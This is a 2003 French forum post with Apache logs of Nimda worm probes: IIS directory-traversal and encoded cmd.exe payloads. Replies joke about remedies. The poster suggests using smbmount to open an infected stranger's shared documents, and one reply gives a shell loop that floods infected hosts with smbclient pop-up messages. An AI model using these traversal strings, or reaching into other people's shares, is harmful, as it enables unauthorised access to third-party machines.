Je suis passe en ADSL le 26 novembre. Mes logs Apache (1.3.27) depuis cette date ressemblent a ca :
81.56.193.41 - - [25/Dec/2002:01:05:47 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:49 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:51 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:52 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:54 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:56 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:58 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:00 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:02 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:04 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:06 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:09 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:11 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.193.41 - - [25/Dec/2002:01:06:14 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.193.41 - - [25/Dec/2002:01:06:16 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:19 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:45 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:45 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:47 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:50 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
alors bon :)
le plus fun, c'est que si tu fais ca :
smbmount //81.56.39.39/SharedDocs /mnt/tmp
tu as acces au repertoire Documents Partages du bouffon ...
y'aurais pas un moyen d'arreter ce truc ? parce que ca pollue les logs a une vitesse !
d'un autre cote, j'me dis que c'est fou le nombre de mecs qui sont infectes par ce ver. c'en est presque a mourir de rire !
++
Journal Nimd4 Sux !
12
jan.
2003
# Re: Nimd4 Sux !
Posté par Pierre Tramo . Évalué à 0.
Solutions :
1) Envoyer un abuse à chaque fois pour faire chier au maximum les gens qui utilisent l'abuse pour des choses sérieuses.
2) Ne pas logger.
3) Ne pas lire les logs.
4) Eteindre la machine et aller boire une vraie bière, dans la vraie vie, en rencontrant des vrais gens.
Note: on peut mélanger ces différentes propositions.
[^] # Re: Nimd4 Sux !
Posté par ukemi . Évalué à 2.
./beer: Command not found.
on m' aurait menti ?
# Re: Nimd4 Sux !
Posté par Sébastien Koechlin . Évalué à 2.
while true; do
for USER in `nmblookup -A 62.212.144.211`; do
echo "COUPE TON IIS ET PATCHE LE, GROS NEUNEU" | smbclient -n Response -U Security -I 42.42.42.42 -M $USER > /dev/null;
done;
sleep 2m;
done
avec 42.42.42.42 l'IP de la personne
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.